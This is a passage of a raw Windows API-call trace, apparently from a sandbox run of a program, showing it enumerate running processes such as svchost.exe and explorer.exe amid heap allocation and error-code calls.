dwFlags=0x0, lpMem=0x2360580 | out: hHeap=0x2360000) returned 1 [0145.800] GetLastError () returned 0x0 [0145.800] SetLastError (dwErrCode=0x0) [0145.800] GetLastError () returned 0x0 [0145.800] SetLastError (dwErrCode=0x0) [0145.800] GetLastError () returned 0x0 [0145.800] SetLastError (dwErrCode=0x0) [0145.800] GetLastError () returned 0x0 [0145.800] SetLastError (dwErrCode=0x0) [0145.800] GetLastError () returned 0x0 [0145.800] SetLastError (dwErrCode=0x0) [0145.800] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.802] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360580 [0145.802] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c20 [0145.802] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360590 [0145.802] GetLastError () returned 0x0 [0145.802] SetLastError (dwErrCode=0x0) [0145.802] GetLastError () returned 0x0 [0145.802] SetLastError (dwErrCode=0x0) [0145.802] GetLastError () returned 0x0 [0145.802] SetLastError (dwErrCode=0x0) [0145.802] GetLastError () returned 0x0 [0145.802] SetLastError (dwErrCode=0x0) [0145.802] GetLastError () returned 0x0 [0145.802] SetLastError (dwErrCode=0x0) [0145.802] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0145.803] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0145.803] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360590 | out: hHeap=0x2360000) returned 1 [0145.803] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.803] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360580 | out: hHeap=0x2360000) returned 1 [0145.803] GetLastError () returned 0x0 [0145.803] SetLastError (dwErrCode=0x0) [0145.803] GetLastError () returned 0x0 [0145.804] SetLastError (dwErrCode=0x0) [0145.804] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x144) returned 0x2366690 [0145.804] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0145.804] GetLastError () returned 0x0 [0145.804] SetLastError (dwErrCode=0x0) [0145.804] GetLastError () returned 0x0 [0145.804] SetLastError (dwErrCode=0x0) [0145.804] GetLastError () returned 0x0 [0145.804] SetLastError (dwErrCode=0x0) [0145.804] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.805] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340f40 [0145.806] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340d80 [0145.806] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340f50 [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.806] SetLastError (dwErrCode=0x0) [0145.806] GetLastError () returned 0x0 [0145.807] SetLastError (dwErrCode=0x0) [0145.807] GetLastError () returned 0x0 [0145.807] SetLastError (dwErrCode=0x0) [0145.807] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340600 [0145.807] GetLastError () returned 0x0 [0145.807] SetLastError (dwErrCode=0x0) [0145.807] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340600 | out: hHeap=0x2360000) returned 1 [0145.807] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f50 | out: hHeap=0x2360000) returned 1 [0145.807] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d80 | out: hHeap=0x2360000) returned 1 [0145.807] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0145.807] GetLastError () returned 0x0 [0145.807] SetLastError (dwErrCode=0x0) [0145.807] GetLastError () returned 0x0 [0145.808] SetLastError (dwErrCode=0x0) [0145.808] GetLastError () returned 0x0 [0145.808] SetLastError (dwErrCode=0x0) [0145.808] GetLastError () returned 0x0 [0145.808] SetLastError (dwErrCode=0x0) [0145.808] GetLastError () returned 0x0 [0145.808] SetLastError (dwErrCode=0x0) [0145.808] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.809] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0145.809] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e60 [0145.809] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366838 [0145.809] GetLastError () returned 0x0 [0145.809] SetLastError (dwErrCode=0x0) [0145.809] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] GetLastError () returned 0x0 [0145.810] SetLastError (dwErrCode=0x0) [0145.810] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0145.810] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0145.811] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0145.811] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0145.811] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0145.811] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] GetLastError () returned 0x0 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366898 [0145.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c80 [0145.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366948 [0145.813] GetLastError () returned 0x0 [0145.813] SetLastError (dwErrCode=0x0) [0145.813] GetLastError () returned 0x0 [0145.813] SetLastError (dwErrCode=0x0) [0145.813] GetLastError () returned 0x0 [0145.813] SetLastError (dwErrCode=0x0) [0145.813] GetLastError () returned 0x0 [0145.813] SetLastError (dwErrCode=0x0) [0145.813] GetLastError () returned 0x0 [0145.813] SetLastError (dwErrCode=0x0) [0145.813] GetLastError () returned 0x0 [0145.814] SetLastError (dwErrCode=0x0) [0145.814] GetLastError () returned 0x0 [0145.814] SetLastError (dwErrCode=0x0) [0145.814] GetLastError () returned 0x0 [0145.814] SetLastError (dwErrCode=0x0) [0145.814] GetLastError () returned 0x0 [0145.814] SetLastError (dwErrCode=0x0) [0145.814] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0145.814] GetLastError () returned 0x0 [0145.814] SetLastError (dwErrCode=0x0) [0145.814] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0145.814] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366948 | out: hHeap=0x2360000) returned 1 [0145.814] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0145.814] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366898 | out: hHeap=0x2360000) returned 1 [0145.814] GetLastError () returned 0x0 [0145.815] SetLastError (dwErrCode=0x0) [0145.815] GetLastError () returned 0x0 [0145.815] SetLastError (dwErrCode=0x0) [0145.815] GetLastError () returned 0x0 [0145.815] SetLastError (dwErrCode=0x0) [0145.815] GetLastError () returned 0x0 [0145.815] SetLastError (dwErrCode=0x0) [0145.815] GetLastError () returned 0x0 [0145.816] SetLastError (dwErrCode=0x0) [0145.816] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.817] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0145.817] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340dc0 [0145.817] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668c8 [0145.817] GetLastError () returned 0x0 [0145.817] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0145.818] GetLastError () returned 0x0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0145.819] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0145.819] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0145.819] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0145.819] GetLastError () returned 0x0 [0145.819] SetLastError (dwErrCode=0x0) [0145.819] GetLastError () returned 0x0 [0145.819] SetLastError (dwErrCode=0x0) [0145.819] GetLastError () returned 0x0 [0145.819] SetLastError (dwErrCode=0x0) [0145.819] GetLastError () returned 0x0 [0145.819] SetLastError (dwErrCode=0x0) [0145.819] GetLastError () returned 0x0 [0145.819] SetLastError (dwErrCode=0x0) [0145.819] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.820] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668a8 [0145.820] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ce0 [0145.820] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669a8 [0145.820] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.821] SetLastError (dwErrCode=0x0) [0145.821] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0145.822] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0145.822] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669a8 | out: hHeap=0x2360000) returned 1 [0145.822] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ce0 | out: hHeap=0x2360000) returned 1 [0145.822] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668a8 | out: hHeap=0x2360000) returned 1 [0145.822] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] GetLastError () returned 0x0 [0145.822] SetLastError (dwErrCode=0x0) [0145.822] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1e6) returned 0x23669e8 [0145.823] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366690 | out: hHeap=0x2360000) returned 1 [0145.823] GetLastError () returned 0x0 [0145.823] SetLastError (dwErrCode=0x0) [0145.823] GetLastError () returned 0x0 [0145.823] SetLastError (dwErrCode=0x0) [0145.823] GetLastError () returned 0x0 [0145.823] SetLastError (dwErrCode=0x0) [0145.823] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.824] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0145.824] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c20 [0145.824] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366988 [0145.824] GetLastError () returned 0x0 [0145.824] SetLastError (dwErrCode=0x0) [0145.824] GetLastError () returned 0x0 [0145.824] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.825] SetLastError (dwErrCode=0x0) [0145.825] GetLastError () returned 0x0 [0145.826] SetLastError (dwErrCode=0x0) [0145.826] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0145.826] GetLastError () returned 0x0 [0145.826] SetLastError (dwErrCode=0x0) [0145.826] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0145.826] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366988 | out: hHeap=0x2360000) returned 1 [0145.826] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0145.826] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0145.833] GetLastError () returned 0x0 [0145.833] SetLastError (dwErrCode=0x0) [0145.833] GetLastError () returned 0x0 [0145.833] SetLastError (dwErrCode=0x0) [0145.833] GetLastError () returned 0x0 [0145.833] SetLastError (dwErrCode=0x0) [0145.833] GetLastError () returned 0x0 [0145.833] SetLastError (dwErrCode=0x0) [0145.833] GetLastError () returned 0x0 [0145.833] SetLastError (dwErrCode=0x0) [0145.833] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.835] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0145.835] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e40 [0145.835] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366818 [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.835] GetLastError () returned 0x0 [0145.835] SetLastError (dwErrCode=0x0) [0145.836] GetLastError () returned 0x0 [0145.836] SetLastError (dwErrCode=0x0) [0145.836] GetLastError () returned 0x0 [0145.836] SetLastError (dwErrCode=0x0) [0145.836] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0145.836] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0145.836] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.837] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0145.837] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e60 [0145.837] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366978 [0145.837] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0145.838] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0145.838] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.839] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366928 [0145.839] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340f20 [0145.839] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366978 [0145.839] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0145.839] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f20 | out: hHeap=0x2360000) returned 1 [0145.839] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0145.840] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668c8 [0145.840] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c80 [0145.841] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366868 [0145.841] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0145.841] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0145.841] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.842] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0145.842] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340dc0 [0145.842] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366958 [0145.842] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0145.842] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0145.842] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669a8 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340de0 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366968 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0145.844] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340de0 | out: hHeap=0x2360000) returned 1 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403a8 [0145.844] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d9) returned 0x2366bd8 [0145.844] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669e8 | out: hHeap=0x2360000) returned 1 [0145.844] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.846] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366928 [0145.846] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ca0 [0145.846] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669b8 [0145.846] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340538 [0145.846] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ca0 | out: hHeap=0x2360000) returned 1 [0145.846] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0145.847] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366988 [0145.847] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ea0 [0145.847] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668a8 [0145.847] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0145.847] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ea0 | out: hHeap=0x2360000) returned 1 [0145.847] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0145.847] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0145.849] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668d8 [0145.849] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e00 [0145.849] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668e8 [0145.849] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0145.849] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e00 | out: hHeap=0x2360000) returned 1 [0145.849] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0145.850] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366988 [0145.850] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340d80 [0145.850] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669c8 [0145.850] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0145.850] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d80 | out: hHeap=0x2360000) returned 1 [0145.851] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.852] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669a8 [0145.852] RtlAllocateHeap (HeapHandle=0x2360000, 